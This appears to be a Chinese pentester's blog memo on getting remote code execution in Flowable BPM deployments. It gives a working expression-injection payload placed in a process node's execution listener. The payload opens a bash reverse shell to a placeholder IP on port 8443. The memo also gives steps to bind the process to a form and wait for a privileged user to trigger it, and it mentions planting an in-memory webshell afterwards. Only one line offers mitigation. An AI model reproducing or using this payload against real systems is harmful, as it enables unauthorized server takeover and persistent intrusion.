Flowable框架RCE漏洞利用

前言

最近在做项目时碰到几个使用Flowable框架做的流程管理功能,搜索了下网上的利用文章,虽然写的很详细但是都没有给出实际的利用方式,所以这里记录一下,以防以后再碰到类似的情况。

Flowable框架介绍

Flowable是一个开源的业务流程管理(BPM)和决策引擎,基于Java开发,采用Apache 2.0许可证。Flowable被设计为轻量级、高性能且易于嵌入到Java应用程序中,同时也提供了REST API,支持与其他语言编写的应用程序集成。Flowable引擎包含核心组件,如流程引擎(Process Engine)、任务引擎(Task Engine)、决策引擎(Decision Engine)和表单引擎(Form Engine),可以独立使用或组合使用,以满足不同的业务需求。

案例复现

首先需要确定是否使用了Flowable框架,如果在后台发现有流程管理类似的功能,打开某一个流程图后在右下角显示BPMN.io那么基本可以确定使用了Flowable框架,关于漏洞原理和产生的原因请查看参考链接,此处不再赘述。

触发Flowable rce漏洞的方式有很多,这里以节点执行监听器为例

随机打开一个节点添加执行监听器。类型为表达式,表达式内容输入groovy反弹shell的表达式

1
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval('java.lang.Runtime.getRuntime().exec(["/bin/bash", "-c", "bash -i >& /dev/tcp/x.x.x.x/8443 0>&1"])')}

注: runtime.exec不支持管道符操作需要使用数组传入

设置后保存当前流程,Flowable会自动生成新版本
之后要给新版本的流程关联到表单,只有关联表单后才可触发RCE。

最后就是寻找触发点,触发流程执行。由于业务不同所以触发点也不会不同,有的可能关联表单后直接打开表单就能触发,有的则需要其他操作才能触发。

这里的触发点需要有操作该表单权限的账户提交表单才可触发.
实际的触发点需要根据实际的业务来判断,这里只是提供一种思路。

当用户提交表单后,在监听服务器上会收到反弹的shell
后续利用可以打入内存马等操作,此处不再深入。只做备忘记录

修复建议

Flowable支持groovy表达式是全版本的,官方不认为这是一种漏洞,建议在上线后通过配置安全白名单来限制表达式或脚本可以访问的类,具体参看Flowable官方的最佳实践

参考

https://forum.butian.net/index.php/share/3823
https://github.com/Mechoy/jarVuln/tree/main